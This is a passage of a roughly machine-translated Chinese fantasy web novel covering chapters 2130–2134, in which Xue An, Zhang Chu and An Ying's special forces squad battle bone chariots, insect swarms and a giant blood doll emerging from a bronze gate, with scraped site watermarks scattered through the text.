    "Before it was just an appetizer, the real good show is only beginning now!"


    As soon as the voice fell, there was a loud rumbling noise in this bronze door, and then it began to open slowly.


    Everyone''s heart raised their throats instantly, and they spontaneously formed a defensive formation.


    Xue An stood in front of everyone, watching this scene with cold eyes, and then whispered softly: "They are coming out!"


    The Fox Ye standing behind him said, "Don''t worry, no matter how many come today, it will all belong to Master Fox!"


    Xue An turned his head and glanced at him, a faint smile appeared at the corner of his mouth, "Is it true?"


    "Of course it''s true, when did Fox Ye say nonsense!" Fox Ye said seriously.


    But as soon as his voice fell, the bronze door was completely opened.


    Unlike everyone''s imagination, there is no sight in this bronze gate, and some are just a light curtain exuding weird colors.


    Hu Ye couldn''t help but froze, "What''s going on? What about evil things?"


    Xue An said lightly: "Maybe it was scared away by what you just said!"


    This sentence was meant to hurt Fox Ye, but he didn''t expect that Fox Ye smiled.


    "Don''t tell me, maybe that''s the case..."


    But before he could finish his words, the light curtain of Tongmen suddenly began to vibrate violently, and at the same time it emitted an extremely bright brilliance, attracting everyone''s attention.


    Immediately afterwards, many huge figures appeared in Guanghua.


    Along with the appearance of the figure, there was a faint rumbling of war drums.


    This weird scene instantly solidified the smile on Linghuye''s face.


    Including Yue Qinghuan, who was watching the battle through the water mirror in the earth, couldn''t help being stunned after seeing these figures, even though his face was surprised.


    "Are you so willing to pay for it? Did you pull out the bone chariot?"


    At the same time, but seeing Guanghua gradually converged, and then presented before everyone was an extremely frightening scene.


    I saw a white bone giant with a height of hundreds of thousands of feet appearing in the void. These giants are made up of white jade bones. The upper body is like a human race, with huge white bones heads, and burning in the eye sockets. Scarlet wildfire.


    And the lower body of these giants of white bones was transformed into the form of a chariot, with countless reins extending from the front of the chariot, which were pulled forward by humanoid monsters with strong bodies.


    Wherever he went, the space was pressed out of deep ruts, and there was a loud rumbling noise.


    Just one frame gives people an infinite sense of oppression.


    The number of these bone chariots reached an astonishing dozens.


    Such a scale shocked the audience.


    As for the Fox Night, who just uttered a wild word to cover the audience, at this moment, he can''t even close his mouth!


    Xue An turned to look at him, and said lightly: "Didn''t you just say that you gave it all to you? Then you can go on now!"


    Hu Ye smiled awkwardly, "This...this...Isn''t this just for fun, old Xue, why are you taking it seriously!"


    "Haha!" Xue An chuckled lightly, then turned to look at these bone chariots rushing over with the supreme power, and said lightly.


    "Stop talking nonsense, get ready for battle, and rush up with me!"


    After that, Xue An flipped his wrist and the Tianzhu Sword appeared in an instant, and then turned into a streamer, rushing directly to the front of the bone chariot, and cut it down with a sword.


    This sword light slashed straight down like a shining rainbow, and the white giant raised his hand to resist.


    But when the sword light passed, even the space was chopped in half, let alone mere bones.


    Therefore, I only heard a burst of sound, and then saw a crack on the bone chariot from the top of the head, and then it exploded and split into two halves.


    This scene immediately boosted the confidence of many people who were intimidated by the aura of the bone chariot and then I saw Fox Ye and Ye Hanshang and others rushing up, each Exerting what he could, launched a crazy attack on these bone giants.


    In an instant, the brilliance flickered, and the power was pervasive, which was dazzling.


    "Don''t watch the big guys, let''s do it together!" Suddenly someone shouted.


    The crowd suddenly promised, and then rushed towards these giants with shouts.


    In an instant, the entire void turned into a boiling battlefield.


    Although most people are far less powerful than Xue An and the others, they can''t hold up too many people, so they quickly destroyed all the chariots like ants gnawing on elephants.


    Seeing the explosions one after another in the picture, Yue Qinghuan lay down on the sofa again and chuckled softly: "I will give you ninety points for this opening!"


    At the same time, not only was she able to see the situation on the battlefield in real time, but everyone on earth also saw the live broadcast via the Internet or TV.


    And all this is due to one person.


    Chen Xiaoyi!


    This little girl, who was just an entertainment editor at first, eventually grew into a legend in the press with her own efforts.


    Every war on the earth before, often has her figure behind.


    This time is no exception.


    It''s about the safety of the entire heavens, and countless powerful people will gather together. How could Chen Xiaoyi let this shocking battle go.


    Therefore, despite the difficulties and dangers, she led a capable team and followed the large force across the battlefield.


    But because this Pure Land Buddha Kingdom is too far away from the earth, even with Xue An''s time and space channels, there are still many technical problems.


    So at the very beginning, the live broadcast did not start.

 Chapter 2130： Poisonous insects emerge from Xuanming Tomb Master

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Until just now, after finally solving all the problems, Chen Xiaoyi immediately ordered in a deep voice.


    "All the shots are aimed at the battlefield immediately, and I want to record the situation on the battlefield in all directions without blind spots!"


    "Yes!"


    Therefore, everyone on the earth was also fortunate to see the scene of Xue An smashing the bone chariot with one sword, and then everyone rushing to besiege it.


    Whenever a bone chariot fell down in the screen, there would be cheers everywhere on the earth.


    Many people danced with excitement.


    "Hahaha, is this the so-called evil thing outside of the sky? I don''t think so!"


    "Yes, in front of Mr. Xue, there is nothing that can withstand him with one sword, if there is one, then two swords!"


    "It''s a joke to dare to try to encroach on the heavens even with this strength!"


    For a time the whole earth boiled.


    But unlike the fanatical general public, there are a small number of people who have remained sober.


    For example, the town general who is sitting in the headquarters of Central Capital.


    His complexion at the moment is very solemn.


    As the highest official of China, the picture he can see is naturally much clearer than the outside world.


    And in the command at this moment, there are countless top talents who are madly calculating.


    "General, this is the latest calculation report. Each of these bone monsters has at least the strength of a big Luo class. If converted to our standards, it can withstand at least three special nuclear bombs!"


    "Is the calculation accurate?"


    "The error is not more than ten percent!"


    The General Zhen Guo was silent when he heard the words, and after a long time he gave a wry smile, "That is to say, if there is no guarding of Mr. Xue, as long as there are three such bone monsters, our Chinese defense system will collapse, right?


    "It''s 2.8 to be exact, General!" the staff officer added in a low voice.


    General Zhen Guo waved his hand helplessly, "Okay, I see, go down!"


    The staff officer did not retreat, but said in a deep voice: "General, we also found through technical analysis that the energy fluctuation of the light curtain on the bronze gate has increased by at least 17.1 times compared with the initial period."


    "What do you mean?" General Zhen Guo was shocked.


    "Meaning is that this is probably just the beginning, the real powerful existence is still behind!" The staff officer pushed his glasses and said with a serious face.


    The general of the town country Huo Ceng stood up, swept away the previous depression, and then said in a deep voice: "Through my order, all the troops in China will immediately enter a state of special combat readiness!"


    "Yes!"


    "How many special nuclear warheads do we have?"


    "Inventory plus the newly added ones, there are still 3,781!"


    "All the crossing coordinates are set, and the goal is... the bronze gate at the end of the passage!"


    "understand!"


    The staff immediately went busy.


    General Zhen Guo stood in front of the big screen with his hands in his hands, looked at Xue An''s back in the screen, and whispered.


    "Mr. Xue, this is the last trump card of China, I hope I can help you!"


    And at this moment, in this battlefield, many people also noticed the abnormality.


    Because these bone chariots were beaten but didn''t fight back, it was like winning time for what came.


    really.


    At this moment, a buzzing sound suddenly came from the bronze gate.


    This kind of sound is not loud, but it pierces your ears like a magic sound.


    "Gosh, look at what it is?" Someone screamed and raised his finger to the bronze gate.


    Everyone turned their heads and looked around.


    But seeing the light curtain of the bronze gate suddenly began to shake violently, as if something was about to gush out.


    On the earth, Yue Qinghuan, who was originally lying on the wicker chair, couldn''t help but straighten up, then raised his eyebrows slightly.


    "Could it be..."


    As soon as the voice fell, I saw a cloud of black smoke from the bronze door in the picture.


    After the smoke appeared, it rushed towards everyone at an extremely fast speed.


    At the same time, the buzzing sound became more intense.


    It wasn''t until almost rushed to the front that no one could see the true colors of the smoke.


    What kind of black smoke is there? There are countless black flying mosquitoes!


    "Fuck, where did the **** mosquito come from?" Hu Ye screamed, and then strenuously smashed the mosquitoes in front of him.


    But the number of smashed is simply not worth mentioning relative to the entire group.


    I saw these flying mosquitoes coming all over the sky, and wherever I passed, the monk who could not dodge was sucked away countless blood on the spot, and he was about to be sucked up alive, but a flash of light flashed.


    boom!


    The flame spread wildly and began to disperse these black mosquitoes.


    Then Xue An''s eyes were full of brilliance, and the majestic spirit spread, and these black mosquitoes were also retreated.


    But this was just the beginning, because at this moment, countless poisonous insects suddenly swarmed into the bronze gate.


    These poisonous insects rushed towards everyone like a tide, and even though they were far away, the stench was already disgusting.


    Looking at this scene in the picture, the earth, which was originally rejoicing, fell silent. UU reading www. uumshu.com


    Many people were horrified.


    Because from the beginning to the present, in just a short while, many unthinkable existences poured in from this bronze gate.


    This can''t help but shake the optimistic mentality of many people.


    But in the next moment, the counterattack of the powerful swept away the depression in these people''s hearts.


    I only heard someone yelling: "Fuck, I usually hate mosquitoes the most. This time I sting me with mosquitoes and kill me!"


    "That''s right, do some poisonous insects dare to show off their power?"


    Amid the roar, Guanghua was everywhere, and everyone began to fight with these poisonous insects.


    But this time the situation was not as easy as it was just now, because although these poisonous insects are not very powerful, they are too numerous, and they will be injured if they are not careful.


    Therefore, everyone can only form a team to fight together.


    But at this critical moment, Xue An didn''t move, and then quietly looked at the bronze door, as if waiting for something.


    really.


    I just listened to a sudden sneer in the Tongmen.


    "Xue An, do you like these little gifts I prepared for you?"


    With the voice, but seeing the brilliance flickering, then a figure appeared in front of the Tongmen.


    This person is tall and burly, wearing a sun, moon and star robe, magnificent, and full of arrogance.


    Seeing him, Xue An couldn''t help raising the corners of his mouth slightly, revealing a cold smile.


    "Dou Yinan, you are finally willing to show up!"


    As soon as this remark came out, the audience shook.


    Many people were shocked.


    what?


    This is Dou Yinan, the former master of Xuanming Mausoleum?


    And this person even looked up to the sky and laughed, "Xue An, you destroyed my son and ruined my orthodoxy, now can you be convicted?"

 Chapter 2131： There is no retreat, only a deadly battle

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "Damn, this kid shouldn''t be insane! The disciple was killed and the orthodoxy was annihilated, why is he so happy?"


    "Yeah! I dare to question Mr. Xue for conviction. It''s really a longevity guy who hangs himself!"


    After the initial consternation, the crowd moved in a sensation, and fierce discussions and complaints broke out.


    Dou Yinan naturally heard these words.


    He wanted to show up in front of others, but after hearing these complaints, his face couldn''t help but he couldn''t hold back, and his eyelids jumped wildly.


    At the same time, Xue An chuckled lightly, and then slowly said: "Convict? I really want to know how thick-skinned you are to say such a thing!"


    "To take refuge in evil things outside the heavens, to betray the human race, and to subvert the heavens!"


    Speaking of this, Xue An''s eyes suddenly became fierce, "You who committed so many crimes, now dare to ask me whether you are guilty?"


    This series of interrogations left Dou Yinan speechless, because he was indeed speechless.


    But as a top powerhouse, how could he be asked so easily, but in an instant, he showed a cruel smile.


    "Xue An, I admit that you are right, but what? Now I have a position and a future that you can''t imagine, but you can only nest in this small puddle. In the end, you die very humble! This will be the fate of you and the entire heavens, no one can change it!"


    At the end, Dou Yinan laughed wildly again.


    Before the ridiculous sound ceased, Xue An''s figure suddenly appeared in front of him, and then cut down with a sword.


    puff!


    This sword was unremarkable, but possessed an unimaginable power that ordinary people could not imagine, and he cut Dou Yinan in half from it in an understatement.


    But there was no blood flowing out of Dou Yinan''s body, and Xue An raised his eyebrows.


    At the same time, on the other side of the bronze gate, Dou Yinan''s figure appeared again, and Jie Jie said with a strange smile.


    "Xue An, you actually broke through to become the Immortal Emperor in such a short period of time. The talent is amazing, but what about it? Now I am an existence you can''t even imagine, you can''t kill me at all!"


    But as soon as the voice fell, this Dou Yinan was cut in half by Xue An again, and then Xue An''s figure emerged from behind him.


    But even so, there was still no blood, on the contrary, Dou Yinan''s weird smile suddenly came from the bronze gate.


    "Xue An, save your energy, now you can''t hurt me at all, hahahahaha!"


    Dou Yinan laughed wildly.


    Xue An stood in place with a sinking face, with the sword in his hand pointing diagonally to the ground, and then raised his eyebrows slightly, "Oh? Really, do you really think I can''t hurt you?"


    As soon as the voice fell, a scarlet blood drop suddenly fell from this Tianzhu sword, and then it was completely absorbed by the sword.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    Dou Yinan shouted hysterically.


    Xue An''s mouth raised a cold smile, and then looked down at the red line on the Tianzhu sword, and said lightly.


    "Do you really think that turning into an evil thing outside of heaven is invincible? My Tianzhu sword is specially prepared for you evil things!"


    "Surnamed Xue, you can''t be proud of it for too long. Next, you and everyone will know what the real fear is!"


    Dou Yinan let out a hysterical roar, and then the light curtain in the bronze door suddenly began to spread out.


    Immediately afterwards, he saw poisonous snakes surging, flying mosquitoes all over the sky, and dozens of bone chariots were emerging ahead.


    Such a shocking scene also shocked everyone present and not.


    Xue An stood with the sword, alone with the boundless evil thing in front of him, his eyes flashed, and then he spoke slowly.


    "The evil thing is coming, I can''t retreat, and the only plan for the present is to fight to death, so... the kings follow the orders!"


    The indifferent voice instantly spread throughout the audience, and was transmitted to the earth through the broadcast of Chen Xiaoyi and others.


    In an instant, everyone was in awe, then raised their heads, their eyes all focused on the back that stood before the billions of people.


    But seeing Xue An slowly raised the sword in his hand, pointed forward, and said coldly.


    "kill!"


    After saying this, Xue An rushed forward with the supreme posture.


    Seeing this scene, no matter whether it was present or not, everyone''s eye sockets instantly moistened.


    Then everyone screamed.


    "Here!"


    Following the voice, countless strong men flew up, and rushed up after them.


    Hu Ye was the fastest, Kancan rushed behind Xue An, and then shouted.


    "Old Xue!"


    "Huh?" Xue An didn''t turn his head back, and smashed a bone chariot at the front with a sword.


    "Fucking I have never convinced anyone, only to you, I am completely convinced!"


    "Haha!" Xue An chuckled, stepped on one foot, shattering the poisonous snakes, insects and scorpions in a radius of hundreds of miles, and then said lightly.


    "Although the words are good, can you stop the **** fuck?"


    "Hey, aren''t you used to it!" Hu Ye smiled embarrassedly.


    But at this moment, Ye Hanchang, who was next to him, suddenly shouted, "Be careful!"


    Then he rushed forward and pushed Fox Ye out.


    boom!


    A light wave of nearly pure white blasted at the place where Fox Ye had just stood. It was so powerful that it cracked the space. U U Reading


    Fox Ye''s face turned pale.


    But Ye Hanchang took a breath, and said: "Little fox, you talk to talk, but can you grow eyes?"


    Fox Ye smirked, and insisted: "Actually, I felt it all just now, but I haven''t had time to dodge it!"


    Ye Hanshang ignored what he said, but turned to look at Xue An, and then said solemnly: "Old Xue, something is wrong! The strength of these evil things is much stronger than before!"


    "Yeah! Although these bone chariots are huge, they are easy to deal with, but now they are becoming more and more powerful. Even if it is a strong Da Luo, even a little carelessness may be injured!" Tianzhuna, panting Come over and say.


    Zhuge Zang suddenly appeared aside at this time, and then said coldly: "These evil things are indeed getting stronger and stronger!"


    Xue An remained silent, but his eyes passed through hundreds of millions of poisonous insects, and finally stayed in the huge bronze gate.


    At the same time, Yue Qinghuan who was above the earth also closed the water mirror in front of him, and then stood up and walked to the roof railing.


    In the distance is the misty Yunmeng Lake, the sun is as bright as washing, if there is no two huge passages in the sky, everything is so beautiful.


    Yue Qinghuan let out a sigh of relief, and then said solemnly: "Xue An, this test seems to be many times stronger than I thought, so... good luck to you!"


    In the villa, thinking and Nian Nian watched the scene on TV, and asked worriedly.


    "Mom, will Dad win this time?"


    An Yan gently stroked the cheeks of the two of them and smiled softly, "Of course he will, but Dad is omnipotent!"


    The two little girls were relieved.


    But they didn''t notice, there was a worrisome color deep in An Yan''s eyes.

 Chapter 2132： Chariot blood doll

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Boom!


    With a loud noise, An Ying cut off the head of a giant scorpion monster with difficulty, and the stench of blood sprayed all over his body. Fortunately, he was blocked by the armor of the soldiers, otherwise he would die on the spot.


    Even so, the disgusting smell made An Ying hold his breath, and then jumped out ten feet away.


    Several companions immediately rushed forward, and the special cleaning agent was sprayed on An Ying''s body like no money was required, and finally the blood attached to it was washed away.


    Only then did An Ying let out a sigh of relief, and then said: "I really don''t know what these poisonous insects grew up with, this blood is really stinking!"


    "Hey, what''s this? You didn''t see that when I dealt with a monitor lizard monster, the smell...Tsk, now that I think about it, I can''t wait to vomit all of yesterday''s dinner!" A man in armor was wearing armor The man smiled.


    "Okay, don''t mention that. It''s really disgusting!" Another man said with a ugly expression, unbuttoning his visor.


    At this moment, I saw another brilliance flashed by, and then saw a man wearing high-level soldier talisman armor approaching him.


    After seeing him, all the men present bowed their heads in salute.


    "team leader!"


    The man nodded slightly, and then went straight to An Ying.


    An Ying couldn''t help but lowered her head.


    After looking at it for a while, the man suddenly said, "How do you feel? Can you still adapt?"


    An Ying nodded immediately, "Report to the captain, I feel good, there is no problem!"


    The man smiled.


    Amidst the laughter, his visor was directly lifted, revealing a young but very majestic face.


    "Seriously, I really didn''t expect you to stay here for so long!"


    "Why didn''t it, because my sister is An Yan?" An Ying said.


    The man smiled slightly, "Although you have always wanted to escape this identity, this is the fact, who made you such a powerful brother-in-law!"


    An Ying was silent, and suddenly said: "I don''t want to rely on anyone''s reputation, I just want to do something for the earth and the heavens!"


    The man was also stunned, because he didn''t expect that this dude, who was deemed by everyone in the team to not last three days when he first arrived, would have this consciousness.


    But soon he showed a sincere smile, and then stretched out his hand towards An Ying.


    An Ying looked up in a bit of astonishment.


    I saw the man smiling and saying, "Zhang Chu, Captain of the Fire Kylin Special Forces! Now, on behalf of all the members of Fire Kylin, you are welcome to join!"


    The rest of the crowd also gathered around and watched this scene with a smile.


    An Ying felt her nose sore, and then resisted the tears, stretched out her hand and held Zhang Chu''s hand heavily.


    "team leader����."


    Zhang Chu patted him on the shoulder again, "Okay, it will be a family from now on. You have won the respect of all of us with your practical actions, not because you have a great brother-in-law!"


    "Yeah!" An Ying nodded excitedly.


    At this time, everyone rushed in. You punched me and slapped An Ying.


    Zhang Chu looked at this scene with a smile, but there was a tired look in his eyes.


    Ten days have passed since the Tongmen opened.


    But in these short ten days, everyone seemed as long as a century.


    Every day is endless battle or battle.


    When the initial passion was worn away, the cruelty of the war was finally revealed.


    The first is the beginning of casualties.


    Anyone who has been talking and laughing with you in the first second will become silent after a corpse in the mouth of a poisonous insect in the next second.


    All the passion and blood turned pale and weak in front of the invisible wall of death.


    So soon, many people began to have a strong sense of war exhaustion.


    This is not timidity, but human nature.


    But in contrast, these endless poisonous insects and bone chariots never know what fear is, and their strength is growing at a speed visible to the naked eye.


    Although the situation on the battlefield has not yet been upset due to the strong suppression of top powerhouses such as Xue An and Huye, the morale of the bottom powerhouses has fallen.


    In this situation, Xue An made a decisive decision and immediately changed the previous strategy of swarming forward, but instead classified the strong according to their strengths.


    High powers will follow him in the center of the battlefield, sniping the bone chariots and giant pythons and other large monsters.


    The low-ranking powerhouses are sent to the edge of the battlefield to check and fill vacancies, and deal with the evil things or mobs that are alone.


    With the strength of An Ying and the few Fire Qilin troops present, they naturally couldn''t enter the center of the battlefield, so they all wandered on the edge.


    Even so, they feel increasingly struggling.


    Let alone Zhang Chu who has been fighting in the center of the battlefield.


    At this moment, he really wished to fall asleep now.


    But strong willpower supports him, because he knows that every strong man is very precious now.


    Unless it''s a certain moment, someone will rotate you.


    In addition, everyone does not have any rest time, at most they just take a breather between attacks.


    Despite this, people have no complaints.


    Because everyone can see, Xue An has never rested from the moment the battle started until now, and he not only needs to deal with those difficult evil things, but also walks around the entire battlefield.


    One can imagine how much pressure he has to endure. U U Reading www.uukanansshu.com


    Thinking of this, Zhang Chu couldn''t help letting out a sigh of relief, then turned around to return to the center of the battlefield.


    But at this moment, a black line appeared again in front of him.


    "It''s a worm!" the person in charge of the alert shouted.


    Rumble!


    Countless poisonous insects flooded here like a tide.


    At this time, the person in charge of the alert screamed again.


    "Gosh, what is that!"


    I saw that in the middle of this boundless worm tide, countless poisonous insects rushed here rumblingly surrounded by a chariot.


    After getting close, I saw a blood doll sitting on the chariot.


    That''s right!


    It is a child in the literal sense.


    He was wearing a red bellyband and blush on his chubby face. It looked like pink and jade.


    But such a scene makes people not feel the slightest cuteness.


    Because can you imagine the cuteness of a child who is over a hundred feet tall?


    Impossible, all you can feel is the creeps.


    At least these people present feel this way.


    "This...what is this!" An Ying couldn''t help but whispered softly with shock.


    But at this moment, Zhang Chu suddenly shook his whole body, and then shouted, "Get ready for battle!"


    But as soon as his words fell, the blood doll slowly raised its huge head and then opened his eyes.


    What kind of eyes are that!


    Pure white without a trace of blood, like the gaze of the devil in the deepest nightmare, it is chilling.


    Zhang Chu''s whole body was already shaking, because as the orthodox heir of Longhushan Tianshifu, he felt a soaring evil at this moment.


    He couldn''t help screaming in surprise, "Close your eyes, don''t look at his eyes!"

 Chapter 2133： Boundless ghost

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    But it was too late.


    The few players standing in the front suddenly screamed, and then the blue ghost fire burned in their eyes.


    This flame did not have the slightest temperature, but it melted the faces of these players in an instant.


    Immediately afterwards, the flame spread at an extremely fast speed,


    In the blink of an eye, these team members were cremated by the ghost and disappeared!


    "Brother Xu, Old Seven!" An Ying let out a mournful cry, and then rushed forward with canthus.


    You must know that when he first entered the blood unicorn special forces, because of his special status, everyone was polite to him, but this kind of politeness actually meant deliberate alienation.


    Because no comrade who fought side by side would be polite like a stranger when together.


    At that time, An Ying was extremely depressed.


    Only the two team members who died offered a helping hand to An Ying and accepted him actively.


    So An Ying has always been grateful for him!


    But I never expected that these two people would die in front of me today, and still in such a cruel way.


    An Ying naturally couldn''t accept this, and rushed forward almost hysterically.


    But as soon as he took a few steps, he was grabbed by Zhang Chu, and then screamed: "You are not dead? Is that something you can handle?"


    An Ying trembled, and even after tears bursting into tears, he said, "But the captain, Brother Xu and Lao Qi..."


    Zhang Chu''s face was pale, "I know you are sad, and even willing to spare your life, but this will not solve any problems!"


    "Yes! Old Xu and Xiaoqi are dead, but we are fighting now. As long as we fight, we will die, do you understand?"


    At the end, Zhang Chu almost shouted Li.


    An Ying finally calmed down, then nodded heavily, "Understanding the captain, what shall we do now?"


    "You and the others retreat first, the level of this evil thing is not something you can handle at all!" Zhang Chu solemnly said.


    An Ying didn''t hesitate anymore, and immediately led everyone back.


    At the same time, Zhang Chu raised his head and looked at the chariot far away dignifiedly.


    At this moment, the blood doll was slowly turning its head, looking towards Zhang Chu''s side, and then the corners of his mouth gradually raised, revealing a very strange and terrifying smile.


    Accompanied by this smile, the monstrous evil spirit emanating from it rushed towards Zhang Chu and others like a stormy sea.


    The prosperous momentum, and even halfway through the illusion of many ghosts.


    Zhang Chu''s face sank like water, and then slowly pulled out one of the three magic weapons of the Heavenly Master''s Mansion from his waist, the Laojun sword that has been passed down for thousands of years.


    Although Zhang Chu''s strength is likely to be far better than that of the founding Patriarch of the past, Zhang Chu still cherishes this Old Sovereign sword and always carries it with him.


    There is no other reason!


    This Laojun Sword not only symbolizes the thousand-year orthodoxy of the Tianshi Mansion, but it is also different from the other two magic weapons, Yangping Zhidu Gongyin and the 24th Rank Secret Urn.


    The symbolic meaning of the two magic weapons is far greater than the actual meaning, but this old sword has gone through thousands of years of incense worship and the sacrifices of the celestial masters of the past.


    In particular, the aura of Zhongzheng contained in it is the nemesis of all evil demons and evil spirits.


    But under normal circumstances, Zhang Chu would rather fight hand-to-hand than use this sword.


    After all, this is the only thought left to him by his master, one use may be one less.


    But at this moment, Zhang Chu didn''t care about that much.


    I saw his horizontal sword in front of him, and under the inspiration of the ubiquitous evil spirit, a thousand rays of light suddenly radiated from this desolate and simple old sword.


    At the same time, the majestic aura of greatness rose into the sky, and directly collided with the boundless evil spirit that rushed in.


    boom!


    After a loud noise, countless evil spirits turned into smashed ghosts.


    But immediately after this blood doll let out a sharp and strange laugh, as if taunting Zhang Chu''s self-defense.


    Then these ghosts that had just been shattered immediately reunited together, and both their form and strength were stronger than before.


    Then this boundless ghost rushed towards Zhang Chu and the others like a locust.


    Zhang Chu''s face was solemn, "Immediately defend yourself!"


    As he said, he flew up to face the boundless ghost, and at the same time he roared with spring thunder in his tongue.


    "Taishang Laojun, be with me!"


    boom!


    Laojun''s sword swept past, wherever he passed, the evil spirits melted away.


    But compared to this boundless ghost, these evil ghosts that have been eliminated are simply not worth mentioning.


    Many more directly bypassed Zhang Chu, and rushed towards An Ying and others.


    An Ying and the others were not afraid, and immediately activated the Talisman Armor, and then arranged the battle formation to face these rushing evil ghosts.


    In an instant, all the members of the blood unicorn fought into a group.


    Zhang Chu furiously beheaded and rushed from left to right. He was barely surrounded by these evil spirits, but as time went by, the space for him to flash and move was gradually shrinking.


    As for An Ying and others on the ground, UU reading www. When facing these ghosts and demons, uukanshu.com is even more clumsy, and is completely passive.


    Zhang Chu couldn''t help being anxious when he saw this, and couldn''t help shouting: "You fight and retreat, save your strength and leave here as soon as possible!"


    "What about you, Captain?" An Ying shouted.


    "Don''t worry about me, I have my own way to break out! Hurry up, if you delay for a while, you won''t be able to go anymore! Did you hear that? This is an order!" Zhang Chu roared.


    Although An Ying and the others were reluctant, the captain''s order was to be unconditionally obeyed, so they began to retreat while facing the rushing evil spirits.


    But at this moment, a lot of ghost claws like withered bones suddenly appeared on the ground, grabbed An Ying and the others by the ankles, and then dragged them underground.


    Unprepared, a blood unicorn player was directly dragged to the ground, and then he was dragged halfway in by the ghost claw.


    This sudden change made An Ying anxious, especially when he saw that his comrade-in-arms was about to be completely dragged in, and he was furious.


    "Drive for me!"


    Enraged, An Ying''s battle armor suddenly began to change wildly, and completed its transformation in an instant, becoming a new battle armor that was much stronger than the previous form and defensive ability.


    Battle Armor advanced!


    An extremely rare phenomenon can only be triggered by a very small probability. Once it occurs, it often means that its own strength will rise to a higher level.


    It is a dream of many people.


    Unexpectedly, it happened to An Ying at this moment.


    But at this moment, An Ying didn''t have time to think about these things, and saw him stomping on the ghost claws under his feet.


    The powerful strength after promotion made him abruptly break free from the shackles of the ghost claws, and then immediately rushed over and grabbed the hand of this teammate.

 Chapter 2134： An Ying fights to death with Zhang Chu Tianshi

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    now.


    This player has been dragged in for most of his body, leaving only his shoulders and head exposed.


    After An Ying grabbed his hand, she summoned the strength of her whole body and dragged it out.


    But this player didn''t move at all. No matter what, his sinking speed suddenly accelerated a bit, dragging An Ying forward and almost fell to the ground.


    But An Ying didn''t give up, but tried hard again with a splitting eye.


    "Ah ah ah ah, come out for me ah ah ah ah ah!"


    His entire armor made a creaking noise because of excessive force, trying to pull his teammates out.


    But it still doesn''t help.


    At this moment, the blood unicorn member who was about to be completely dragged into the ground suddenly chuckled.


    "Angel, don''t bother, let go!"


    "Xiao Wu, what the **** are you talking about? Come out for me, ah, ah, ah, I don''t believe I can''t pull you out!" The corners of An Ying''s eyes burst because of excessive force, and blood flowed down.


    "Angel, my lower body has been gnawed away, and it''s a waste to pull it out, so please give me a good time!"


    Xiao Wu smiled and said, but there were tears on his face about to fall into the soil.


    "I''m not ah ah ah ah ah!" An Ying shouted almost hysterically.


    But at this moment, there was a touch of determination on the face of this little Wu, and then suddenly let go.


    "Little Five!" At this moment, the other players had also broken free and rushed over immediately.


    "Angel, everyone, thank you, in the next life... we will be brothers!" Xiao Wu said with a smile, then raised his eyes to look at the evil ghost full of waste.


    "Evil thing, I X your grandma!"


    When the words fell, I saw Xiaowu''s eyes suddenly burst out with extremely bright brilliance, and the evil spirits disappeared wherever he passed.


    "No!" An Ying yelled in despair, and then fell to the ground.


    Because he knew that the last brilliance was the strongest blow made by Xiao Wu burning all his soul and cultivation base.


    But this also means that he will completely disappear, and even the possibility of reincarnation is gone!


    "Asshole, Xiaowu, you asshole, didn''t you **** say you will be a brother in your next life? Why are you so stupid!" An Ying murmured in tears.


    At the same time, this boundless evil spirit once again rushed towards everyone.


    "Angel, retreat!" Someone tried to pull An Ying from the ground.


    Unexpectedly, An Ying suddenly raised his hand and put a talisman on these people.


    "Angel, what are you doing?" These players were shocked.


    "This is a magic talisman, you leave now, as for me..."


    An Ying raised her head and looked at these evil spirits with murderous intent, "I want to avenge Brother Xu and Xiaowu!"


    "but����."


    Before she finished speaking, An Ying had already activated the magic talisman.


    This magical rune was specially made by Zhuge Zang before the war. It is powerful and most suitable for running away.


    Originally An Ying intended to use it to save his life at a critical moment, but now he has changed his mind.


    boom!


    When the magic talisman was activated, Brilliant Guanghua immediately wrapped up these people and flew away regardless of their struggles and shouts.


    Then An Ying stood up slowly, and looked at the evil ghosts coming, a sneer of disdain appeared on her face.


    "Brother Xu, Xiao Wu, wait for me!" An Ying said silently in her heart, and then rushed directly.


    At the same time, Zhang Chu didn''t know what happened on the ground just now, and even if he knew it, he could do nothing.


    Because at this moment, he has also fallen into a bitter battle.


    Facing this endless evil spirits, even if he is a contemporary celestial master of the Heavenly Master''s Mansion, he felt a trace of despair at this moment.


    Because the number of these evil spirits is really too much, and they are metamorphosed from evil spirits, often you kill one, and you will soon condense three again.


    This way more and more kills, it seems that there will never be an end.


    Faced with this situation, Zhang Chu knew in his heart that if the source of these evil ghosts could not be eliminated, he would be trapped alive sooner or later.


    Therefore, although he appeared to be aimlessly rushing from the left to the right, he was actually moving a little bit in the direction of the blood doll.


    at last!


    The shadow of the blood doll can be clearly seen where he is.


    Zhang Chu took a deep breath, bit the tip of his tongue abruptly, and sprayed a spit of blood on Laojun''s sword.


    boom!


    The Laojun Sword, which had been dimmed because of the ceaseless killings, burst out for a while, and then a blazing flame burned on it, sweeping away the previous decline.


    But Zhang Chu''s complexion then became very pale.


    After all, that bite of blood has at least damaged his three years of penance!


    Despite this, Zhang Chu didn''t show any hesitation, slashing down with a sword, sweeping away the evil spirits thousands of feet ahead.


    Immediately afterwards, he rushed towards the blood doll in the distance like an arrow from the string.


    The speed was so fast that he rushed to the front almost in a moment, and then pierced the blood doll''s heart with a sword without hesitation.


    This blood doll is a hundred feet tall, and Zhang Chu looks like a mosquito in front of it.


    But Zhang Chu''s sword had just pierced the blood doll''s skin, not more than half an inch, and a terrifying aura made Zhang Chu subconsciously flashed aside.


    Bang!


    A phantom was drawn at the position where Zhang Chu just stood, shattering the space.


    Zhang Chu was shocked in a cold sweat, so he moved a little slower. UU Reading must die now.


    At the same time, this ghost slowly turned around, and it was a pocket-sized blood doll.


    I saw it grinning at Zhang Chu like a child.


